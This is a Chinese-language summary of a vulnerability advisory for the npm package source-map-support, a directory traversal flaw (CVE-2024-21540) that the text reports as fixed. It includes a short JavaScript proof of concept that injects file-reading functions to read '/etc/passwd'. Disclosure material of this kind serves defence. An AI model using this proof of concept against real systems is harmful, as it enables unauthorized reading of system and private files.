从这个网页截图中,我们可以获取到以下关于漏洞的关键信息: 1. **漏洞描述**: - **标题**:Package source-map-support: Possible to inject custom file-reading functions to the package and read an arbitrary file. - **代码示例**: ```javascript const path = require('path'); const pkg = require('source-map-support'); /* Possible to use 'options' to override internal functions of the package. * For example to retrieve contents of a file that is two directories above the current one. */ const options = { overrideRetrieveSourceMap: true, retrieveSourceMap: function(src) { return fileReader('/etc/passwd') }, overrideRetrieveFile: true, retrieveFile: function(src) { return fileReader('/etc/passwd') }, }; pkg.install(options); const targetPath = path.join(__dirname, '..', '..', 'exploited.txt'); const retData = pkg.retrieveSourceMap(targetPath); /* This will output the contents of the file. */ console.log(retData); ``` 2. **漏洞类型**:Directory Traversal 3. **影响范围**:source-map-support 4. **引入时间**:2023年12月7日 5. **CVE编号**:CVE-2024-21540 6. **CWE编号**:CWE-22 7. **修复状态**:已修复,不再影响任何版本的source-map-support。 这些信息表明,source-map-support包存在一个目录遍历漏洞,可以通过注入自定义文件读取函数来读取任意文件。该漏洞已被修复,不再影响任何版本的source-map-support。